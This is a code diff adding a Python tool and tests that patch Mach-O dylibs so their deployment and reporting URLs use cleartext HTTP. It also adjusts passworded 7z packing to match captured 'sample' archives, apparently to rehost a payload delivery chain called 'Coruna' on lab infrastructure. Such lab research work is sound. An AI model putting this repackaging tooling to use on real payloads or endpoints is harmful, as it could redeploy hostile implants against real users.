init

frontend/tests/test_scheme_patch.py

@@ -0,0 +1,56 @@
+import sys
+import unittest
+from pathlib import Path
+
+
+FRONTEND = Path(__file__).resolve().parents[1]
+TOOLS = FRONTEND / "tools"
+if str(TOOLS) not in sys.path:
+    sys.path.insert(0, str(TOOLS))
+
+from _scheme_patch import (
+    LEGACY_SLASH,
+    NEW_VISIBLE,
+    OLD,
+    patch_deployment_scheme_to_http,
+)
+
+
+class SchemePatchTests(unittest.TestCase):
+    def test_slot_sizes(self) -> None:
+        self.assertEqual(len(OLD), 10)
+        self.assertEqual(len(LEGACY_SLASH), 10)
+        self.assertEqual(len(NEW_VISIBLE), 9)
+
+    def test_patches_core_fat_dylib(self) -> None:
+        src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
+        data = src.read_bytes()
+        self.assertEqual(data.count(OLD), 2)
+        out = patch_deployment_scheme_to_http(data, expect_hits=2, label="core")
+        self.assertEqual(out.count(OLD), 0)
+        self.assertEqual(out.count(LEGACY_SLASH), 0)
+        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
+
+    def test_migrates_legacy_trailing_slash(self) -> None:
+        src = FRONTEND / "source" / "sync_dylibs" / "tmp.dylib"
+        legacy = src.read_bytes().replace(OLD, LEGACY_SLASH)
+        self.assertEqual(legacy.count(LEGACY_SLASH), 2)
+        out = patch_deployment_scheme_to_http(legacy, expect_hits=2, label="core")
+        self.assertEqual(out.count(LEGACY_SLASH), 0)
+        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 2)
+
+    def test_patches_type0x01_thin(self) -> None:
+        src = (
+            FRONTEND
+            / "source"
+            / "type0x01_dylibs"
+            / "65704c0722165a7bdedad3f3f61258b2f95470f6_type0x01.dylib"
+        )
+        data = src.read_bytes()
+        out = patch_deployment_scheme_to_http(data, expect_hits=1, label="t0")
+        self.assertEqual(out.count(OLD), 0)
+        self.assertEqual(out.count(NEW_VISIBLE + b"\x00"), 1)
+
+
+if __name__ == "__main__":
+    unittest.main()

frontend/tools/_scheme_patch.py

@@ -0,0 +1,139 @@
+"""Force Deployment/Reporting URL scheme from https to http for lab proxy testing.
+
+Core/type0x01 build URLs with the cstring/CFString format ``https://%@``.
+daily.html plugin URLs are already ``http://[HOST_PLACEHOLDER]/...``.
+
+``https://%@`` (len 10) is replaced with ``http://%@\\0`` (9 visible chars + pad)
+and matching CFString length fields are updated 10 → 9.  Do **not** use a trailing
+slash in the format string — paths already start with ``/``, which produced
+``https://host//api/...``.
+"""
+
+from __future__ import annotations
+
+import struct
+
+from _path_patch import _arm64e_target, _fat_slices, _parse_macho
+
+OLD = b"https://%@"
+# Previous mistaken same-length patch (caused host//path).
+LEGACY_SLASH = b"http://%@/"
+# 10-byte slot: 9-char format + NUL pad (original terminator becomes a second NUL).
+NEW_SLOT = b"http://%@\x00"
+NEW_VISIBLE = b"http://%@"
+
+
+def _patch_thin_scheme(data: bytes, *, expect_hits: int, label: str) -> bytes:
+    macho = _parse_macho(data, label=label)
+    base_subtype = macho.cpu_subtype & 0x00FFFFFF
+    architecture = (
+        "arm64e" if base_subtype == 2 else "arm64" if base_subtype == 0 else ""
+    )
+    if architecture not in {"arm64", "arm64e"}:
+        raise SystemExit(f"{label}: unsupported CPU subtype {base_subtype}")
+
+    cstring = macho.section("__TEXT", "__cstring")
+    region = bytearray(data[cstring.offset : cstring.offset + cstring.size])
+
+    # Prefer migrating legacy slash form, else patch original https form.
+    if region.count(LEGACY_SLASH) == expect_hits and region.count(OLD) == 0:
+        source = LEGACY_SLASH
+    elif region.count(OLD) == expect_hits:
+        source = OLD
+    elif (
+        region.count(NEW_VISIBLE) >= expect_hits
+        and region.count(OLD) == 0
+        and region.count(LEGACY_SLASH) == 0
+    ):
+        # Already patched to http://%@ (NUL-terminated).
+        return data
+    else:
+        raise SystemExit(
+            f"{label}: expected {expect_hits} {OLD!r} or {LEGACY_SLASH!r} in "
+            f"__cstring; found https={region.count(OLD)} slash={region.count(LEGACY_SLASH)}"
+        )
+
+    hits: list[int] = []
+    start = 0
+    while True:
+        hit = region.find(source, start)
+        if hit < 0:
+            break
+        hits.append(hit)
+        start = hit + 1
+    if len(hits) != expect_hits:
+        raise SystemExit(
+            f"{label}: __cstring scheme hits={len(hits)}, expected {expect_hits}"
+        )
+
+    for hit in hits:
+        region[hit : hit + len(NEW_SLOT)] = NEW_SLOT
+
+    buf = bytearray(data)
+    buf[cstring.offset : cstring.offset + cstring.size] = region
+
+    cfstring = macho.section("__DATA_CONST", "__cfstring")
+    if cfstring.size % 32:
+        raise SystemExit(f"{label}: __cfstring size is not record-aligned")
+
+    patched_lengths = 0
+    for hit in hits:
+        path_vmaddr = cstring.addr + hit
+        for record_offset in range(
+            cfstring.offset, cfstring.offset + cfstring.size, 32
+        ):
+            raw = struct.unpack_from("<Q", buf, record_offset + 16)[0]
+            length = struct.unpack_from("<Q", buf, record_offset + 24)[0]
+            target = raw if architecture == "arm64" else _arm64e_target(raw)
+            if target != path_vmaddr:
+                continue
+            if length not in (len(OLD), len(NEW_VISIBLE)):
+                raise SystemExit(
+                    f"{label}: scheme CFString length={length}, expected "
+                    f"{len(OLD)} or {len(NEW_VISIBLE)}"
+                )
+            struct.pack_into("<Q", buf, record_offset + 24, len(NEW_VISIBLE))
+            patched_lengths += 1
+            break
+        else:
+            raise SystemExit(
+                f"{label}: no CFString pointing at scheme cstring vmaddr {path_vmaddr:#x}"
+            )
+
+    if patched_lengths != expect_hits:
+        raise SystemExit(
+            f"{label}: patched {patched_lengths} CFString lengths, expected {expect_hits}"
+        )
+    return bytes(buf)
+
+
+def patch_deployment_scheme_to_http(
+    data: bytes,
+    *,
+    expect_hits: int,
+    label: str,
+) -> bytes:
+    """Patch ``https://%@`` → ``http://%@`` (CFString length 9) in thin or fat dylibs.
+
+    ``expect_hits`` is the total number of format strings across the whole file
+    (2 for fat core, 1 for thin type0x01).
+    """
+    slices = _fat_slices(data, label=label)
+    if slices is None:
+        return _patch_thin_scheme(data, expect_hits=expect_hits, label=label)
+
+    if expect_hits % len(slices) != 0:
+        raise SystemExit(
+            f"{label}: expect_hits={expect_hits} not divisible by fat slices={len(slices)}"
+        )
+    per_slice = expect_hits // len(slices)
+    buf = bytearray(data)
+    for index, slice_info in enumerate(slices):
+        thin = bytes(buf[slice_info.offset : slice_info.offset + slice_info.size])
+        patched = _patch_thin_scheme(
+            thin, expect_hits=per_slice, label=f"{label}[slice{index}]"
+        )
+        if len(patched) != slice_info.size:
+            raise SystemExit(f"{label}: fat slice size changed after scheme patch")
+        buf[slice_info.offset : slice_info.offset + slice_info.size] = patched
+    return bytes(buf)

frontend/tools/patch_core.py

@@ -28,6 +28,7 @@ from _common import (
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
 from _path_patch import patch_initial_daily_path
+from _scheme_patch import patch_deployment_scheme_to_http
 import _common
 
 from coruna_netconfig_pipeline import (
@@ -59,10 +60,11 @@ def obfuscate_coruna_7z_header(standard_7z: bytes) -> bytes:
     return bytes(out)
 
 
-# Match sample wires (source/sync/*.html): Method = LZMA2:13 7zAES:19.
+# Sample wires use 7-Zip EncodedHeader shape (next_sz≈47, Headers Size=191).
-# py7zr defaults to LZMA2:24, which the client 7z extractor rejects (-1).
+# py7zr writes a different EncodedHeader the client rejects as NO_ARCHIVE (17).
+# macOS `7z a <file>` embeds Unix mode bits (extract -1). `7z a -siNAME` does not.
 _7Z_PACK_FILTER = "LZMA2:a=0:d=8k"
-_7Z_CACHE_TAG = b"lzma2:13\0"
+_7Z_CACHE_TAG = b"lzma2:13-si\0"
 
 
 def _find_7z() -> str:
@@ -71,15 +73,16 @@ def _find_7z() -> str:
         if path:
             return path
     raise SystemExit(
-        "7z required to pack Coruna archives (LZMA2:13). Install p7zip."
+        "7z required to pack Coruna archives (LZMA2:13 via -si). Install p7zip."
     )
 
 
 def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes:
-    """Build passworded 7z with sample-compatible LZMA2:13; cache by content."""
+    """Build passworded 7z matching sample EncodedHeader/attrs; cache by content."""
+    arc_name = Path(member_name).name
     cache_key = sha256_hex(
         _7Z_CACHE_TAG
-        + member_name.encode("utf-8")
+        + arc_name.encode("utf-8")
         + b"\0"
         + password.encode("utf-8")
         + b"\0"
@@ -92,12 +95,7 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
 
     seven = _find_7z()
     with tempfile.TemporaryDirectory() as tmp:
-        root = Path(tmp)
+        archive = Path(tmp) / "out.7z"
-        # Keep archive member name flat (basename only) like original wires.
-        arc_name = Path(member_name).name
-        member = root / arc_name
-        member.write_bytes(payload)
-        archive = root / "out.7z"
         cmd = [
             seven,
             "a",
@@ -105,17 +103,17 @@ def make_passworded_7z(member_name: str, payload: bytes, password: str) -> bytes
             f"-m0={_7Z_PACK_FILTER}",
             "-mhe=on",
             f"-p{password}",
+            f"-si{arc_name}",
             "-y",
             "-bso0",
             "-bsp0",
             str(archive),
-            str(member),
         ]
-        proc = subprocess.run(cmd, capture_output=True, text=True)
+        proc = subprocess.run(cmd, input=payload, capture_output=True)
         if proc.returncode != 0 or not archive.is_file():
-            detail = (proc.stderr or proc.stdout or "").strip()
+            detail = (proc.stderr or proc.stdout or b"").decode("utf-8", "replace").strip()
             raise RuntimeError(
-                f"7z pack failed (code {proc.returncode}): {detail or 'no output'}"
+                f"7z -si pack failed (code {proc.returncode}): {detail or 'no output'}"
             )
         data = archive.read_bytes()
 
@@ -317,6 +315,10 @@ def main() -> int:
                     reporting_seed=rep,
                     label=label,
                 )
+            # Fat arm64+arm64e: 2× https://%@ → http://%@/ for lab cleartext proxy.
+            data = patch_deployment_scheme_to_http(
+                data, expect_hits=2, label=label
+            )
 
         if expect > 0:
             data = patch_module_channel(

frontend/tools/patch_secondary_packs.py

@@ -23,6 +23,7 @@ from _common import (
     validate_seed_arg,
 )
 from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
+from _scheme_patch import patch_deployment_scheme_to_http
 from _path_patch import patch_initial_daily_path
 from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
 import _common
@@ -140,6 +141,10 @@ def main() -> int:
                 reporting_seed=rep,
                 label=path.name,
             )
+        # Thin type0x01: 1× https://%@ → http://%@/ for lab cleartext proxy.
+        data = patch_deployment_scheme_to_http(
+            data, expect_hits=1, label=path.name
+        )
         if channel != ORIGINAL_CHANNEL_ID:
             data = patch_channel_in_dylib(
                 data,